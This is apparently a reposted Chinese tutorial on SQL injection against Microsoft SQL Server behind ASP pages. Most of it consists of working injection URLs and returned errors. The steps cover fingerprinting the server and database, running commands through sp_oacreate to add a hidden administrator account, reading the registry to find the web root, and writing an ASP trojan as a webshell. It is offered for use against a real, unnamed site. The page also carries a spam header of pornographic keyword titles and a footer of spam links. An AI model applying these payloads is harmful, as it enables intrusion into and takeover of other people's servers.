国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 數據庫 > SQL Server > 正文

榨干MS SQL Server 最后一滴血

2024-08-31 00:48:40
字體:
來源:轉載
供稿:網友
風云變換的網絡,網絡安全讓人們不能不關注它。數據庫,讓我們不得不想起強大的oracle,ms sql。微軟的漏洞最多,今天就用sql injection來讓ms sql為我們好好的工作。

  以下(使用一知名網站作為測試點),相信大家對sql爆庫,爆表,爆字段都已掌握,在這里就不多說這方面了。

  ms sql內置函數介紹:

  @@version 獲得windows的版本號,ms sql的版本號,補丁。 user_name() 得到當前系統的連接用戶 db_name() 得到當前連接的數據庫 host_name() 得到當前主機的名稱

  這些信息有助我們對系統進行簡單的了解

  好,下面我們就開始吧!

  語句:

http://www.xxx.com/list.asp?classid=1'

  返回信息:

microsoft ole db provider for sql server 錯誤 '80040e14' 字符串 ' order by id desc' 之前有未閉合的引號。 /list.asp,行290 

  從這里未閉合的引號(“’”),我們可以確定存在sql injection。發現在漏洞當然接著走了,利用以上介紹的函數為我們工作了:

  語句:

http://www.xxx.com/list.asp?classid=1 and 0<>(select @@version)

  返回:

microsoft ole db provider for sql server 錯誤 '80040e07' 將 nvarchar 值 'microsoft sql server 2000 - 8.00.760 (intel x86) dec 17 2002 14:22:05 copyright (c) 1988-2003 microsoft corporation standard edition on windows nt 5.0 (build 2195: service pack 4) ' 轉換為數據類型為 int 的列時發生語法錯誤。 /list.asp,行290 

  相關的信息出來了,ms server advanced server 2000+sp4, sql 2000+sp3,從ms sql server 后面的8.00.760可看出是sp3補丁。看了服務器的信息,接下應該了解數據庫的權限了:

  語句:

http://www.xxx.com/list.asp?classid=1 and user_name()=’dbo’

  返回: 正常返回的信息

  確定是權限是dbo,從表面dbo權限的連接用戶經常是涉及sysadmin服務器角色成員。說明數據庫服務器角色成員組默認是在每個數據庫增加一個dbo用戶。

  返回原理根1=1,1=2相似..這里只是權限測試,我們也把它爆出來看看:

  語句:

http://www.xxx.com/list.asp?classid=1 and 0<>(select user_name())

  返回:

microsoft ole db provider for sql server 錯誤 '80040e07' 將 nvarchar 值 'dbo' 轉換為數據類型為 int 的列時發生語法錯誤。 /list.asp,行290 

  說明連接數據庫的用戶權限很高,可以確定是服務器角色組中的成員。

  語句:http://www.xxx.com/list.asp?classid=1 and 0<>(select db_name())—返回:microsoft ole db provider for sql server 錯誤 '80040e07' 將 nvarchar 值 'gameimgsys' 轉換為數據類型為 int 的列時發生語法錯誤。 /list.asp,行290

  這樣就可以爆出當前的數據庫。得到這么高權限的數據庫連接成員,我們當然想直接得到webshell,或是直接拿到nt admin。nt admin取決于當前服務器的配置,如果配置不合理的服務器,我們要直接拿nt admin,拿nt admin就要用到:

  mssql內置存儲過程:

  sp_oacreate (通過它,危害很得更大,但是需要有sysadmins權限才可能使用) sp_oageterrorinfo sp_oagetproperty sp_oamethod sp_oasetproperty sp_setpropertysp_oastop

  由于ms sql一次可以執行多語句,使得我們有機會使用更多的語句。

  語句:

http://www.xxx.com/list.asp?classid=1; declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null, 'c:/winnt/system32/cmd.exe /c net user cntest chinatest /add'

  正常返回。(提示:如果主機上shell存在的話那將在服務器上創建一個cntest的用戶)

  創建用戶了,語句后再加個net localgroup administrators cntest /add加到管理組中。 如果對方的機子開著3389端口,或ipc的話,那接下來的事,就不用我多說了。

  遇到專業型主機,只開一個80端口,那應該怎么辦呢?當然,我們還是可能拿到webshell,再慢慢滲透的。

  由于權限高,我們可能先建表,寫入asp木馬的數據再通過makewebtask,得到websehll.手工寫入的程序太過于繁鎖,上傳webshell最大的問題還是網頁目錄,現在網上已經有現成的工具通過backup,和maskwebtask的工具得到webshell了。以下推薦,獲取網頁路徑(通過存儲過程達到對注冊表的讀取):

  利用內置存儲過程 xp_regread(讀取注冊表鍵值,權限public):

  語句:

http://www.xxx.com/list.asp?classid=1;create table newtable(id int identity(1,1),paths varchar(500)) declare @test varchar(20) exec master..xp_regread @rootkey='hkey_local_machine', @key='system/currentcontrolset/services/w3svc/parameters/virtual roots/', @value_name='/', [email protected] output insert into paths(path) values(@test) 

  iis的默認路徑的在注冊表中hkey_local_machine/ system/currentcontrolset/services/w3svc/parameters/virtual roots/

  利用爆字段將數據庫的值讀出來:

  語句:

http://www.xxx.com/list.asp?classid=1 and 0<>(select top 1 paths from newtable)

  返回:

microsoft ole db provider for odbc drivers 錯誤 '80040e07' [microsoft][odbc sql server driver][sql server]將 varchar 值 'e:/www,,201' 轉換為數據類型為 int 的列時發生語法錯誤。 

  這說明網頁目錄在e:/www,接下來也可以利用fso直接寫入asp木馬(提示必須擁用sysadmin權限才可使用fso和fso開入的前提下) :

  語句:

http://www.xxx.com/list.asp?class=1;
declare%[email protected]%20int,%[email protected]%20int,%[email protected]%20int,%[email protected]%20int%20exec%20sp_oacreate%20'scripting.filesystemobject',
%[email protected]%20out%20exec%20sp_oamethod%[email protected],%20'createtextfile',%[email protected]%20out,%20'e:/www/test.asp',
1%20exec%[email protected]%20=%20sp_oamethod%[email protected],%20'writeline',%20null,%20'on error resume next'

  在e:/www下創建一個test.asp并寫入on error resume next語句:

http://www.xxx.com/list.asp?classid=1;
declare%[email protected]%20int,%[email protected]%20int,%[email protected]%20int,%[email protected]%20int%20exec%20sp_oacreate%20'scripting.filesystemobject',
%[email protected]%20out%20exec%20sp_oamethod%[email protected],%20'opentextfile',
%[email protected]%20out,%20'e:/www/test.asp',8%20exec%[email protected]%20=%20sp_oamethod%[email protected],%20'writeline',%20null,%20'asp horse '

  在e:/www/test.asp增加一行記錄,記錄為asp horse, 整個完整木馬可能這樣寫入。(%百分號要用%25替代寫入)。如果得不到網頁目錄,怎么辦呢?前提你要猜到網站是否使用默認web,或者使用域名作為web。

declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', null,’ cscript.exe c:/inetpub/wwwroot/mkwebdir.vbs -w "默認 web 站點" -v "e","e:/"’ 

  在默認的web站點下創建一個虛擬目錄e,指向e:盤下。

declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', null,’ cscript.exe c:/inetpub/wwwroot/chaccess.vbs -a w3svc/1/root/e +browse’

  給虛擬目錄e加上瀏覽屬性不錯吧。給自己開虛擬服務。想那些網頁目錄路徑,頭都快破了。這下給自己一個天開眼了。那傳webshell利用ms sql為我們的工作告了一段落了,接下來工作應該由你來了。

,歡迎訪問網頁設計愛好者web開發。
發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 峡江县| 凤庆县| 清水河县| 湘阴县| 汤阴县| 小金县| 旌德县| 琼中| 乌鲁木齐市| 巴南区| 巴中市| 白水县| 汉沽区| 葫芦岛市| 澳门| 阿城市| 恩施市| 库伦旗| 大新县| 玛沁县| 凤翔县| 买车| 凌云县| 宝清县| 江永县| 板桥市| 信丰县| 资源县| 沈阳市| 永丰县| 淮北市| 吴忠市| 仙居县| 辽阳县| 隆德县| 慈利县| 武穴市| 马公市| 胶州市| 衡山县| 宣威市|